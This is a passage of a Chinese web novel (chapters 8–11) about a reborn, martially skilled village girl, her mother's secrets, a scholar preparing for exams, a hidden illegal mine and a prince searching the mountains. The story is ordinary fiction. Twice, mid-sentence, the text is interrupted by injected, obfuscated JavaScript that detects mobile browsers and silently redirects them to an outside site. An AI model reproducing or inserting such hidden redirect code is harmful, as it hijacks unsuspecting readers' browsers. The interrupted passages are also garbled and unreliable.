墨衣男人五官俊美,身形高大健硕,身着墨色长袍,冷硬又挺拔,站在屋子里就像是一堵墙,给人足足的压迫感。他低垂着眼眸看着下方,目光从骡子扛着的书篓掠过,落在它身旁主人明艳的脸庞上,缓缓开口 “能力不足是小,能力不够,偏又傲慢,难成大事” 肖仕心中一紧,虽然他也觉得这些小子该受些教训,但教训绝对不能从这位口中说出,他赶紧说道 “王爷说得是,等回去我就让他们长辈教训他们,那晏家明明罪有应得,他们一个个不知天高地厚,道听途说便敢大放厥词,实在是欠收拾,” 男人侧眸看向肖仕,问:“晏氏之事证据确凿,为何还有如此多人为他说话?” 这段时间在外,他已经从很多人口中听到类似的话 如果说只有几个人为晏氏多说话,还可能是这些人居心叵测,但是这么多人都持有这种想法,总不能都有不臣之心吧? 然而这桩案子是他亲自过手,证据确凿,绝无出错可能 因此,男人即便有些恼怒,更多的还是不解,虽然他其实也隐隐有所猜测,但是又觉得不至于此 “可能是因为,这桩案子是由宋大人亲自执行的吧” 肖仕沉默半晌,轻轻闭眼,不是很情愿地替男人说出心中猜想,紧接着便很是痛心疾首地说道 “百姓对宋大人,颇有误解啊,都怪宋大人行事直来直往,又过于淡泊名利,不求名声,只求百姓顺遂,才让大家对他的误解一日日加深……” 这下,轮到俊美男人沉默了 直来直往?淡泊名利? 这说的又是谁 8. 第 8 章 “江南晏氏抄家流放一事,你有何想法?” 青竹林中,亭台高矗,石桌旁两人面对而坐,手间棋子交错,你来我往,逐渐填满棋盘,也分不出胜负 石桌上位男人四十有余,续着长须,乌发轻挽,眼眸沉凝,端坐在那儿便是一副儒雅之姿。他便是文渊书院此届大儒储邵,他曾在国学院担任夫子,又为几位皇子启蒙,后追求儒道,开始在各地巡走,直到去年到了文渊书院,暂时落脚 他对面的人不过十七八岁,布衣木冠,虽然穿着简陋朴素,但是抬眸之间不卑不亢,宛如身旁青竹,清俊内敛,年纪轻轻颇有气质 面对提问,他思索半刻,道:“陛下乃千古明君,即便再放纵首辅,也不会平白流放一族,满朝文武,其他百年大族也不会坐视不管,所以只有一个可能” 说着,他捻起白棋置于棋盘上,反了对方一子,他抬眸,笃定道:“晏氏罪有应得” 储邵没有回答,只是又执棋放下,轻飘飘:“你输了” 眨眼间,对面白棋再次落下,虽未翻转输赢,但输面缩小 严盛不卑不亢继续:“然,晏氏为百年世家,在读书人中颇有地位,又曾在陛下登基时出力,镇压其余反军,安抚南方万千读书人,功不可没,即便有罪,也不该落此之地。宋首辅行事张扬,无法无天,不把读书人看在眼里,也不怪大家如此愤怒” 储邵这才面露满意之色,道:“宋商这人眼高于顶,向来看不上其他人,行事过激,一点不顾及旧情,若不是还有陛下护着” 未竟之意很是明显,不过储邵没有细说,而是满意地看着面前的严盛,说道:“你虽聪颖,但到底基础薄弱,被那些蠢货耽搁太久,我对你要求不高,殿试二甲,上了便入我门下” 若是连二甲都上不了,那他也无需重视了 听此,严盛郑重几分:“盛必竭尽全力” …… 等到严盛走出竹园,已经是半个时辰之后的事了 他出生贫寒,即便拼尽全力,也只能读得书中知识,对于外面行事、朝野势力分布、各地情况一无所知,庆幸遇到良师,让他对于此次科考信心满满 严盛走出清雅的竹林间,细碎的阳光下,他布衣粗鞋,清瘦贫寒外表下,是眼中藏不住的野心勃勃 二甲? 不,他的目标是状元 他回头看了一下身后藏于林间的隐约亭台,敛下野心,朝着外面走去,没想到一出来就对上一脸不耐烦的陶志义 严盛摆手:“陶兄怎么在这里?” 陶志义听到这个就气:“我怎么在这里?你去问问外面那泼妇吧,圣人有云,修身齐家治国平天下,你先把家里齐一下吧” 说完,他甩手就走 就这么模模糊糊的几句话,严盛一开始没反应过来,思索了一下,才意识道什么,快步朝着书院外面走去 而这个时候,宋锦已经在门外面等了半个时辰了 这么久的时间,她自然不可能全程站着 严盛出来的时候,她就坐在路边,屁股底下一个坐着个小板凳,左边一杯凉茶,右边一堆瓜子壳,左手拿着块肉感撕咬,右手拿着一本话本子,笑得咧起了嘴 整条路上,就属她最显眼了 严盛:“……” 宋锦在山里看书看惯了,就算是自己喜欢的情节,也还是耳听八方的,一下子就注意到了出来的严盛。她合上书,揉了揉笑得有些发红的脸 这书是三年前出的,讲的就是一个面瘫少年出门碰上的乱七八糟的事情,虽然书作者好像并不是想说这些,但是宋锦看得很喜欢,从第一册开始就一直追着,非常捧场 她小心地收好书,放下翘起的二郎腿,干了凉茶,这才慢悠悠站起身,冲着严盛挥手,喊道:“严老二,这里” 已经看到人的严盛在周围人的目光下坦然一笑,朝着宋锦走了过去 他们家是外地逃荒过来林溪镇的,那时候日子苦,家里穷到上面的大哥生病没钱拿药病死,他和弟弟妹妹也瘦得跟刀螂差不多 在这种条件下,家里自然是不可能供他读书的 但是严盛喜欢读书,他从小就去书院外面偷听其他人上课,听着听着便把启蒙的三字经背了下来,可见其天赋。但是即便这样,他依旧没书读 这年头读书,所需的开销实在太大,他们镇上那时候日子才刚刚好起来,也没有好到这个地步,大家供自家孩子读书都艰难,他一个外姓孩子就更别说了 再说了,即便他有读书天赋,这世间会读书的人难道少了?他便是考起秀才举人,对大家的生活也不会有太大影响,除非进士,但是那太难太难了 一直到后面牛铁兰带着孩子搬到镇上,发现他这么个干活勤快又会读书,放猪期间都会背书的小娃娃,他才开始上学 从五岁到现在,已经过去十三年,期间耗费的银两不知多少,而这还是个开始,等后面他院试、乡试、会试才是大头 严盛自觉亏欠,但是只要等他科考成功,出人头地,这些便也不算什么 他看着那边明艳张扬的宋锦,心中很是欢喜,但是落在她坐没坐相站没站相的样子,又忍不住蹙眉,委婉道 “金金,这是书院门口” 宋锦拍拍衣袍上的灰,嘻嘻哈哈毫不在意,甚至还有些得意:“不怕,我上次和肖县令一起蹲这里也没人说” 严盛被噎:“县令大人不拘小节” 宋锦:“就是就是,这个词用得好” 严盛嘴角微抽,他说的是大人不是她咧 这怎么就能和肖县令一起比了?人有才敢有地位,做什么都没人会置喙,她一个姑娘家 严盛想说什么,但是看着宋锦无所谓的表情,还是把话咽了下去 算了,牛婶子从小宠着她,她年纪又小,惯是不在意这些,等以后成亲了,他再慢慢教吧 一想到考起秀才后便可商议亲事,严盛心中更是欢喜,脸上也露出笑容:“今日怎么过来了?是家中有事吗?我阿爹阿娘阿弟阿妹还好吧?” 宋锦揶揄:“还挺有精神的,每天都在外面炫耀马上有个秀才儿子了,你可要 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他看着宋锦手上的文具,一眼便知道其中价格,感动又欣喜,但还是推辞:“太贵了,我用不了这些,读书最重要的是书,不是这些外物” “让你拿着就拿着,真没一点区别,人卖这些干什么?你现在的任务就是好好考试”宋锦直接把东西塞到他手里,眉飞色舞地挤眉弄眼 “等你考上了,当了大官,到时候我和我娘可就跟着你吃香喝辣了” 严盛抿了抿嘴,好笑的同时,神色也逐渐坚定:“你放心,我肯定会考起的” 等到时候,他便风风光光回去迎她进门 宋锦可没他想的那么多,见他收了东西,自己任务完成,朝着他挥了挥手,潇洒地牵着小黑离开 留着严盛站在原地,紧紧地抱着那套价值不菲的笔墨,看着她一点点远去 ** “哒哒哒” “哒哒哒哒哒” 宋锦骑着骡子行走在走了无数此的乡道上,晃着双腿,哼着轻快的歌儿,悠悠闲闲地回到林溪镇 从县里到镇上的乡路,需要经过镇上唯一的学堂 院试在即,虽然和镇学堂的学子没什么关系,但是也难免比平日多了些紧迫 宋锦远远地都能听到那边传来的朗朗读书声 只要不是让她自己读,听着还是有些意思的 “人之初,性本善……” 宋锦坐在骡子上,装模作样地学着里面的小孩子晃着脑袋,嘴上跟着背着前面几句,十分张扬,远远地看着,便有镇民变了脸色,掉头就走,免得和这小霸王对个正着 她就这样沿着那路一路走着,等到了一栋门上雕着金凤的房前,她停了下来,眼睛一眯,便跳下骡子,笑眯眯地看着房前的人 “呀,这不是梅婶和娇娇嘛,怎么见着我就跑啊,我长得有这么吓人吗?” 昨个上门把人气‘吐血’的梅花和林娇娇母女俩:…… 不是,你吓不吓人的,心里没点数吗? 9. 第 9 章 宋锦是林溪镇的小霸王 这点没有人能否认 她八岁断了上一任镇霸的腿,就接替了他成为新一任霸主,每天在镇子山林乱窜,但凡谁白天多看两眼,多嘀咕两句,家里晚上就得遭殃 一年年下来,大家对她那是避之不及,见到她就掉头跑 但是真说起来,宋锦找茬也都是事出有因,虽然说那个因,可能有点小,但是起码理由是正当的 就像现在,梅花和林娇娇两个昨日面对牛铁兰理直气壮且狮子大开口的人,看到宋锦第一反应就是躲 宋锦跳下骡子,饶有兴趣地看着这母女俩脸上的心虚,双手抱胸,朝着她们走了过去,凤眸轻扬 “哎,你们跑什么,不是和我娘说让我过来赔礼吗?我这不是来了” 说着,她像是想起了什么似的,调转回去从小黑背着的箩筐里挑出一只牛大骨,足足有人腿那般粗壮,上面还站着鲜肉鲜血,乍一眼看去活像是人腿 梅花揽着林娇娇后退一步,声音轻颤:“你,你要干什么?” “我能感悟什么呀,自然是赔礼嘛”宋锦状似无辜地了过去,又看看大骨头恍然大悟,“林三叔不在家,光是梅花婶你们不好收拾着骨头,我替你们处理好了” 说着,宋锦把骨头放在阶梯旁,笑容灿烂地看着她们,提气内功,用力一踩 咔擦一声 牛骨碎裂,碎骨连着骨髓四溅,落在地上 “啊” 梅花发出一声尖叫,惊恐后退:“你要干什么?我,我告诉你,我可不怕你,小心我报官,我我大哥在巡察办,我爹,我爹是老秀才,我我男人在县衙,小心把你抓过去” 宋锦听她我我个半天,微笑着捡回骨头:“瞧婶子您这说的,不知道的还以为劫匪上门了呢,传出去影响多不好啊。这俗话说得好,饭可以乱吃,话不可以乱讲,您说话,还是慎重点” “是吧,娇娇?” 面对宋锦的目光,林娇娇脸色唰一下就白了,磕磕巴巴:“对,对对,我,我上次,下次,说话会注意点” 林娇娇长得随爸,瘦瘦高高,有点黑,但是是个勤快姑娘,家庭条件也好,在外面很受欢迎,唯一的缺点就是 嘴巴有点碎 她昨天便是和人聊天聊到牛铁兰了,说了几句嘴,没想到刚好和上山的宋锦给对上了,那吓得她一个踩空就滚下坡,回来忍不住和亲妈抱怨起来 仗着有镇长这靠山,也仗着宋锦上山了,母女俩这才找上了门,想着牛铁兰好对付,能占便宜就占便宜。至于宋锦这小霸王,自有牛铁兰看着 哪知道会把人给气吐血啊 这下好了,她们便宜没占到不说,还被林镇长痛批一顿,现在又被找上门来 看着宋锦脚下的断骨,梅花和林娇娇也才意识到,面前这人不仅仅是个不讲道理的小霸王,而是正儿八经单枪匹马搞死饿狼,射杀劫匪的人 见她们脸上多有惧意,宋锦也才收回脚,脸上笑容异常灿烂:“这样才对嘛,我这人皮糙肉厚怎么样都无所谓,我娘身子虚不一样,还得婶子多担待一点” 梅花泼辣不起来了,看宋锦的目光就跟看怪物一样,磕磕巴巴:“我,我知道了” 宋锦笑眯眯:“那就麻烦婶子了,喏,这骨头是上好的牛骨,婶子记得拿回去多炖一炖,给娇娇补补身子,她这要说亲了,得多长点肉才好看” 梅花笑容勉强 宋锦这才放过两人,拍了拍手,转身走到小黑旁边,拍拍它的脑袋 “噗噗噗” 一股诡异的臭味散开 宋锦面不改色地跨上骡背,小黑哼哧两下,迈开腿哒哒哒跑开 等到一人一骡跑远了,那边被通知的林镇长才匆匆忙忙跑了过来,见到这门口的碎骨还有面带恐惧的弟妹侄女,他松了口气,然后恨铁不成钢地看着她俩 “跟你们说了多少次了,不要招惹铁兰不要招惹铁兰,你们就是不听,现在知道好赖了?真以为人孤儿寡母的得看你们脸色?宋锦那是县太爷护着的人,你们最好给我安分点,真把人得罪狠了,我可护不住你们” 这外人不知道内情,林镇长还不清楚吗? 那宋锦,当初射杀抓捕的哪里是一个劫匪,那是直接端了一座山,是能轻易惹的人吗?更别说她在县里认识的那些人,光那回春堂的刘大夫一个人,林镇长就惹不起 不然他堂堂镇长,这些年为什么对她们孤儿寡母这般忍让?看上了人也不敢多嘴,房子被拆了也只是背地骂咧,还不是因为得罪不起啊 想到这些年受的‘委屈’,林镇长忍不住又骂了两句:“头发长见识短的东西” 梅花委屈不服:“认识县太爷怎么了?就是县太爷也不能不讲道理啊” 林镇长气笑:“别说县太爷了,就是老子不讲道理也没人敢说什么,给我回去好好反省,再给我惹事,就滚回你娘家去,我们林家庙小养不起你这尊大佛” 这么多年来,林镇长还是第一次说这种狠话,直接给梅花吓到了,不敢再和他顶嘴 真要是被赶回娘家,她和她爹娘都丢不起这个人咧 见她安分了一点,林镇长才消了气 也是这次牛铁兰没出事,真要是把人给气没了,这蠢货不会觉得自己那小命保得住吧? 为母报仇杀人这种事,拿到县太爷那边去,那也是她死得活该 …… 林镇长猜得很对 别说牛铁兰被气死了,就是她但凡昨日的吐血是真的,宋锦都得掀了梅花家,再弄去她半条小命 末日来的她可不是个什么遵纪守法的人 真逼狠她了,杀了人惹了事,直接往山里一钻,再换个地方改头换面重新开始,在这个时代不要太简单 不过那也是在万不得已的情况下,至少在现在,宋锦还是想和自家阿娘开开心心过小日子呢 这不,警告完人,宋锦便骑着小黑兴高采烈地往家里跑,开心得夹着声音,拉长尾音 “阿娘,我回来了~看看我给你带了什么东西” 牛铁兰喜欢示弱,但是身子也确实不好,再加上她容貌过人,一般没什么事,她都是在家里待着,看看书画个画弹个琴,放放风筝,种个花,打个牌…… 也是有滋有味 宋锦回来的时候牛铁兰正在和小眉小耳打叶子牌,听到熟悉的兴奋声音,她一个手抖把好牌打了出去,忍不住抚额低吟 “哎哟,我头疼,先回房了,小眉和金金说一声晚饭我今天就不吃了” 小眉抿嘴笑:“夫人说的晚了点” 那边,宋锦已经熟门熟路地摸了过来,从门处探出脑袋,巴掌大的脸蛋上白牙咧咧,凤眸弯弯,她冲着牛铁兰嘿嘿一笑,神色得意 “啊娘,我买到上好的牛骨,拿来炖枣子当归再合适不过了” 牛铁兰听着就反胃,小发脾气把牌甩地上:“汤汤汤顿顿都是汤,你干脆把我也炖了算了” 宋锦跑了过来,搂着牛铁兰,和她挤在一个椅子上:“娘你要听话,身体要紧” 牛铁兰:“身体要紧就更不能顿顿喝汤了,我又不是水做的” 宋锦搂着自家阿娘,习惯性地蹭了蹭 牛铁兰身子看似纤细,但实则该有的都有,皮肤更是宛如凝脂光滑,整个人又软又柔,说是水做的没一点毛病 眼看着母女俩各执已见,一会儿又要生闷气了,一旁的小眉抿嘴一笑,提议道:“这牛骨得炖一也才把骨髓炖出来,不如晚上先拿点酸菜腊茄①炒牛肉,就着鹿肉汤将就一顿,明个再炖牛骨” 牛铁兰立马响应:“谁煮饭谁说话,听小眉的” 宋锦见她这般抗拒,就跟看不懂事孩子似地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025832|162250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着她,好半天才勉勉强强点头:“行吧” 牛铁兰松了口气 她这闺女,平日跟个皮猴子似的,总得让她骂上两句才听话,但是一旦涉及到她的身体,两人角色便对调了起来 牛铁兰也怕她改变注意,赶紧转移话题:“东西都给齐盛了吗?他怎么说的” 宋锦撇嘴:“能怎么说啊,人可有自信了,还打算用那掉毛的破笔去参考,才不需要娘亲你担心” 牛铁兰笑:“小盛自小懂事上进,确实不需要我担心,不像你” 宋锦不服:“我怎么了” 牛铁兰呵呵一笑:“回来去梅花家了吧?” 宋锦立马不说话了,脑袋靠在娘亲肩膀上,撇了撇嘴,嘀咕:“我又没怎么她,她们嘴臭还不让人说啊,娘你也是惯着她们” 牛铁兰戳戳她的脑袋:“你啊,和她们计较什么” 林溪镇是个普通的富裕小镇,本地林家没有那些富豪乡绅的调,林镇长也少有耍官威的时候。镇上虽然偶有小矛小盾,也有些不那么好相处的人,但是大体上还是平静和睦 她们母女俩在林溪镇生活十来年,后面应该也会继续生活下去,有的地方该进就进,有点地方能忍也要忍一点 家里有一个霸道不讲理的就够的,总要给人说话的余地 虽然听起来弯弯绕绕的,但是人这一辈子也就是这样,没有泼天的权利,就只有小心钻营 不过那是牛铁兰这当娘的事,对于宋锦,她从来就只有一个要求 “娘别的什么都不要你做,你要你健健康康平平安安……” 牛铁兰虽然经常骂宋锦小混球,对她到处乱窜的恶霸行为表示嫌弃,但也从来不会让她按着世俗对姑娘家的要求来 女人家活一世已经不易,当娘的只想让她快乐开心,与此同时,也要注意安全 牛铁兰握着宋锦的手 宋锦比起姑娘家高大不少,手长脚长,整体骨架要硬实不少,但摸起来没二两正经肉,全是硬邦邦的肌肉,配着她过于明艳的脸,她站在那儿浑身上下就写着不好惹三个字 而她的手,手背上全是细小伤痕,即便用了祛痕膏不会留疤,但是旧痕一去新痕便起,手心更是牛皮一般铺着一层,便是刀刃也轻易划不进去 这些便是她多年练武上山的代价 牛铁兰摸着有些心疼,但是更多的还是放心,这世道,女儿家强壮可比柔弱安全多了,不过强壮过了头,也不是什么好事 她轻声细语地嘱托:“这段时间县里不太安定,你少往山里外面跑,等安定下来了,娘就不管你怎么跑” 宋锦原本是靠着她的,听到这话一下子直起身子,震惊地瞅着自家柔柔弱弱又年轻貌美的老娘 最近山里不安定,她这天天往山里跑的人自然知道,她老娘 不对劲啊 宋锦眨眨眼,惊道:“好啊,我说今天怎么这么爽快让我进城呢,感情在这儿等我呢” 牛铁兰瞪她:“死丫头,说的好像我不让你出门你就不出来一样” 宋锦又靠了回去,嘿嘿一笑:“您说,您继续说,我听着就是” 牛铁兰看她这不着调的样就烦,伸手拧住她的耳朵,暴躁开口:“听了还要做到” 宋锦叫疼:“行行行,知道知道” 牛铁兰:“不仅知道还要做到” 宋锦:“好好好,你是娘你说什么是什么” …… 面对亲娘发威,宋锦那叫一个听话,牛铁兰说什么就是什么,一直等到夜色渐深,作息规律的她睡得沉沉 ‘乖巧听话早早休息’的宋锦一个翻身,带上装备,轻手轻脚推开房门,朝着山上飞奔而去 牛铁兰不说还好,她一说,宋锦怎么也得去看个究竟 那山里那群人里,怎么感觉,还藏了什么故人呢 10. 第 10 章 宋锦是末日穿过来的 这也就意味着她,和普通的小婴儿不一样,她生来就知事,能看到听懂周围人的一切 她自然也知道一些牛铁兰避而不谈的事情 但是也就一些 牛铁兰真是一个超级嘴严的人,也是一个超级超级疼爱孩子的人 即便是面对着几个月‘啥也不懂’的小婴儿,她也不会去说那些乱七八糟的事情,整天金金,金金的叫着,当初就差给宋锦上户牛金金了 这一点,宋锦得感谢林镇长,要不是他当初真心实意地夸了这个名字有福气,牛铁兰还真觉得这名字挺好的 林镇长那时候年纪其实不算大,但是他长得相当老熟,从小便是小小年纪看起来一把年纪,刚经历秋收晒得区麻黑,看起来就不太有文化的样子,那么真心实意地夸着牛金金这名 牛铁兰立马决定找人改名,顺便姓氏也得改了,虽然她对自己的新姓氏非常满意 牛嘛,那是受到保护的金贵物种,有力量有地位 铁,坚硬百变 兰,就像她自己,藏在牛铁后面 不过再是满意,牛铁兰也知道自己这名字不是世俗意义上的好听,她自己不介意,但是轮到自家闺女了 牛铁兰延迟了给自家闺女上户的时间,第二日便带着三岁的宋锦来到文渊书院,抓了一个看起来最有文化的人——事实上也确实是最有文化的,正是文渊书院的前任院长 那是个脾气不太好的老头,面对牛铁兰他笑得和蔼可亲,背地里就喜欢掐宋锦的脸敲她脑门,一直到他离开 宋锦记住得清清楚楚,这死老头子总共掐了她三十九下,敲了五十七下,可不是个好东西了 但好在,老头给她取了个还算好听名字,后面得知她们母女从外地搬过来,在本地无依无靠的时候,又给她们刷了个脸,让她们在林溪镇顺利扎根,也是功过相抵了 之后的日子稀松寻常 牛铁兰对外的身份是寡妇,而宋锦是遗腹子 她的丈夫是黔南的一名普通富家子,外出读书遇到马匪去世,家里就她一个弱女子防不住族人,带着些家财被赶了出来,路过林溪镇觉得这边水土好,就打算在此落脚 她找上了当时刚当上镇长的林镇长,用当时所有积蓄买了二十八亩良田,成功在林溪镇落户,又在后面凭借一手制香手艺站稳脚跟,慢慢扩大家产 在外人眼中,牛铁兰的一切合情合理,即便长相过于貌美,也被那虚弱的身姿掩盖。但是对于宋锦来说,其中的不合理地方可太多了 首先是她那‘亲爹’ 她娘给这人上香的时候平静得还比不上她打个喷嚏来的紧张,而且每次一上就是双人的,一看就很有内情。但是按照宋锦知道的,她娘和她爹算是青梅竹马,感情一直和睦,中间也没有什么小三小四,牛铁兰的表现怎么也不该如此才对 而且吧,与其说是她被宋家人驱逐,倒不如说是她主动,甚至迫不及待地拿着早就收拾好的东西,带着还不满三岁的宋锦平静地离开府城,来到林溪镇,重新落了女户 按照牛铁兰正常的生活轨迹,按照她那病弱的身体状况,她应该没怎么出过远门,也不喜欢出门,所以更不应该在搬家过程中对一切游刃有余,游刃有余得,就好像,她曾经走过一般 她娘有大秘密瞒着她咧 巧了,宋锦就是个好奇心很重的人 但她这辈子整天和猫猫狗狗相处,也学了它们,对一切新鲜事物好奇的同时,保持耐心 等了这么多年了,亲娘的事情做算是露出些蛛丝马迹了,宋锦怎么着也得伸出爪子挠一挠,把那线给拉出来一些 想到这,宋锦凤眸轻扬,朝着盘龙山飞奔而去 在夜色下,她就像林中猎豹,穿梭在草木之间,窸窣而行,恍若幽影,让人难以捕捉踪迹 宋锦上辈子是个异能者,凭借着强大的异能,她一出生就被基地接走培养,生活里除了训练还是训练,就算不用异能加持,她的生存本领也少有人能及,换了个时空也依旧如此 更别说,这个时代也是有异能的,只不过少了遍地的变异能晶,这里的异能弱得可怜,也只有极少数人才有,被称之为内功 宋锦天天往山里窜,一是训练身法,二就是找那些带有能量的动物草植,多少能促进异能,一年年下来,她之前挑了附近的土匪山头就是最好的说明 也是因为这个山头,她才注意到了这边的奇怪 按理来说,泗安县日子过得不错,但是没有富到让人觊觎打劫的程度,周围百姓也不至于到山穷水尽,走投无路进山当山匪 所以当时山匪的事情闹出来,肖仕就找上宋锦,给了足够的利诱,想让她去打探一下。宋锦反正也没事干,带着黄黄就去匪窝里溜达了一圈,这一溜达就发现了不对劲 那些人里,大半是被朝廷通缉的凶恶匪徒,少部分,光看言行举止可不只是普普通通的山匪,而且消息过于灵通,她们乍一过去,那边便有了动作 宋锦只能把人干掉 毕竟,他们不死,以后还不知道会死多少人呢 这事一看就不简单,那些个弯弯绕绕的她一村姑掺合不进去,后续的就都交给肖县令了,他们审问出来了什么她也不清楚 但宋锦或多或少有些猜测,如果说他们这边有什么能让人使出阴谋诡计觊觎的,那就只有 眼前的东西了 宋锦一路连跑带飞,也费了近两个时辰才来到目的地,她站在山顶位置,拿出自制的简陋望远镜,看着两座山后的山脚 在这寂静的深山里,昏暗的夜色下,那里依旧火光隐约,仔细看能看到藏匿于枝叶下修整的房屋,周围环绕一圈,便能看到趴在边外的野狼恶狗,而越过层层防卫,他们掩护的是一个山洞 随着时间渐渐流逝,静谧的山洞有了声音,乒乒乓乓的晃荡声和咒骂声下,洞门口藤蔓缠绕的篱笆被推开,穿着灰衣的高大男人率先走了出来,他的后面跟着几个个穿着干瘦男人 他们穿得破破烂烂,挑着箩筐,摇摇晃晃地跟在后面,那长长的扁担弯曲,仿若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025833|162250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下一秒便要断掉 灰衣男人嫌弃地看着这些干活的人,呵斥:“给我小心点别晃了东西,这东西但凡少一点,你们的狗命都不够填” 几人唯唯诺诺,干巴巴的脸上带着苦涩,走得也更加仔细小心,直到把东西放下,还没来得及松口气,最前面的人就被大力推开,倒在一旁的地上,有些痛苦的呻吟 但是无人注意 高大的守卫站在箩筐边,掀开罩着的黑布,火光晃过,箩筐里银光闪闪,偶尔带着几丝金光 他笑笑:“哟,这次成色好这么多呢?” 灰衣男人也笑:“那可不,后面应该都是这种成色了,挖了这么久,总算是挖到好的了,主子也能开心开心了” 守卫:“自然,都怪那群废物,这点小事办成这样,连累我们被主子迁怒,现在有成效了,大家日子也好过一点” 灰衣男人:“行了,快把东西弄下去吧,免得出意外” 守卫:“能出什么意外?这深山老林的,别说外人了,就是咱们,要不是有人带能上来?” 更别说周围这么多猛兽,就是有人来了,也别想走 灰衣男人:“也是” …… 宋锦坐在树干间,看着他们小心地把箩筐挂在骡背上,一行人拿着武器牵着恶狗离开山谷 她收起了望远镜,眯着眼睛思索 那些人谨慎得很,左右都牵着恶狗,她一靠近便会被发现,她便也没有去冒过险。左右,能让人在这深山费功夫的,不是金就是银,再差点也是铜铁这些矿石 全都是官府管控,诛九族的鬼玩意儿 一般人可不敢沾这些东西,这些人身后不是皇族就是世家,宋锦一个乡下小地主掺合不起,也不想去掺合。所以即便她和肖县令关系不错,也早早发现这里,也从未和人说过 肖县令人是不错,但是知人知面不知心,谁能保证他没掺合掺合?这为国为民,和他想发点财可不冲突 再者,就是他没掺合,那他又能掺合得起吗?这一个不小心,自己出事不说,还会连累家人 宋锦之前是这般想的,现在的话,想到昨天碰上的人, 一个个看着来头不小,又专挑这个时间这个地点,要不是冲着这事情来的,她直接改名回牛金金 宋锦就这样坐在树上思索,眼看着那边山谷火光熄灭,黑夜再次掩盖一切,她从几十米高的巨树上爬了下去 刚落地,一个圆溜溜的胖脑袋就从树后冒了出来 黄黄:“咪~” 宋锦捏捏虎闺女的耳朵:“夜猫子,不是说了让你别乱跑吗?” 这边已经是黄黄的领地边缘了,和它的大崽子领地交界,它一般不会往这边跑,应该是嗅到了宋锦的气味才找上来 黄黄听不懂她说什么,只是一味撒娇翻滚:“吼~咪” 真是只粘人虎啊 宋锦揉着黄黄的肚子,看着它开心地滚来滚去,眸间星光点点,唇角也渐渐勾起 黄黄停顿下来,两只虎耳颤颤:“咪?” 11. 第 11 章 泗安县偏南,夏日相对炎热,夜晚的风也冒着热气,但是外面再热,也和那盘旋矗立的盘龙山没什么关系。盘龙山山间是自起的林风,带着刺骨的凉意穿梭在山间,抚着展开的枝叶 簌簌下 “嘶”宋行之嘶了一声,捂住脸哀叹:“完了,我的脸,这要是留疤了可怎么办” 话落,无人回应,只有风吹树叶的声音和蝉虫的鸣叫声陪着他一起尴尬 宋行之嘴角一抽,转头看向一边 身材高大的俊美男人手中拿着烛火,昏黄的火光明明灭灭,照在他宛如刀刻一般的侧脸上,他站在原地,眉头紧蹙,神色冷硬 在宋行之的注视下,男人倏的回头,漆黑的眸子不含温度地看着他 宋行之收起玩笑的神情,正经起来:“王爷,这盘龙山山脉险峻,里面野兽无数,我们探了这么久也不见线索,不如先回去休整,再派人手进来。您的安全要紧” 宋行之这并不是推辞,光是站在这里,呼啸的山峰间都藏着狼啸声,野猪、猎豹一路上频繁出现,就是现在,他脑袋上面的枝头间,还站着个红眼睛的猫头鹰,呜呜哇哇不断 宋行之虽然是个风流公子,平日看起来轻肆不太靠谱,但是并不怕吃苦受累,连夜进山这种事他也不是第一次干了 但是,他缺胳膊短腿事小,面前这位被咬两口事大啊 作为当今刚找回来的独苗苗,这位万一有点什么,他这条命可不够赔 被安排下来的时候宋行之就觉得不妙,这位在外生长的王爷一看就是刺头,现在出来了他更确定了 谁家好王爷没事干往深山里钻啊,那么多豺狼野豹,这人还一副要不走遍山不罢休的架势 齐铮静静看着宋行之,在火光下他的神色明明灭灭,看得宋行之有些心虚 好吧,宋行之确实也有些想躲懒,这山这么大,光凭借他几个们还不知道得搜到什么时候了,不如找人直接搜,反正那东西就在山里也跑不掉 他觉得这位以前从小在民间长大的王爷有些过于实诚了,也还没习惯身处高位,不懂用人 下属能用的时候就要用,不然拿他们干什么? 齐铮没说话,只是抬起了手,在宋行之心虚的目光下,指尖叶片一凝,宛如利箭一般越过他的头顶 咕咕两声,头顶的猫头鹰张开翅膀落荒而逃,紧接着一道黑影落下 宋行之错愕之余,侧头一看,拇指大的竹叶青软趴趴挂在他的肩膀上,腥臭的鲜血滴落 “啊妈呀”他吓得窜起,挂在一边的树干上抱住,像极了攀爬的瘦猴,没有半点都城风流公子的样 身旁的侍卫扭过头不让笑容过于明显 王爷是他们要保护的人,宋行之也不是他们得罪得起的啊 不过他们扭头已经说明一切了,宋行之脸色僵住,深深闭眼,好一会儿才调整好心态,装作若无其事的样子跳下树干 “咳,没想当王爷武艺这般高强,是行之有眼无珠……” 他话还没有说完,就见齐铮脸色倏然一变,打断了他 “闭嘴” 宋行之顿住,有些摸不到头脑,刚想问怎么回事,远方传来一声虎啸 吼的一声响彻山谷 可怕的是,一声虎啸之后,又有新的虎啸声响起 近的远的,枝头飞鸟受惊飞起,林中野兽逃窜 猛虎林中之王的名头可不是白担的 下能入河,上能爬树 齐铮冷肃着脸灭掉手头火把:“熄火,上树” 宋行之:“听着声音远,我们应该不至于那么倒霉” 齐铮厉声:“快” 宋行之不敢多说,其他的侍卫更是警惕惜命,一行人迅速朝着旁边一棵巨树攀爬上去 齐铮斥掉让他先上的话,等到他们都上到一定距离,才似踏在平地一般潇洒上树,踩在宋行之身旁的枝干上,手持短剑,神色冷肃 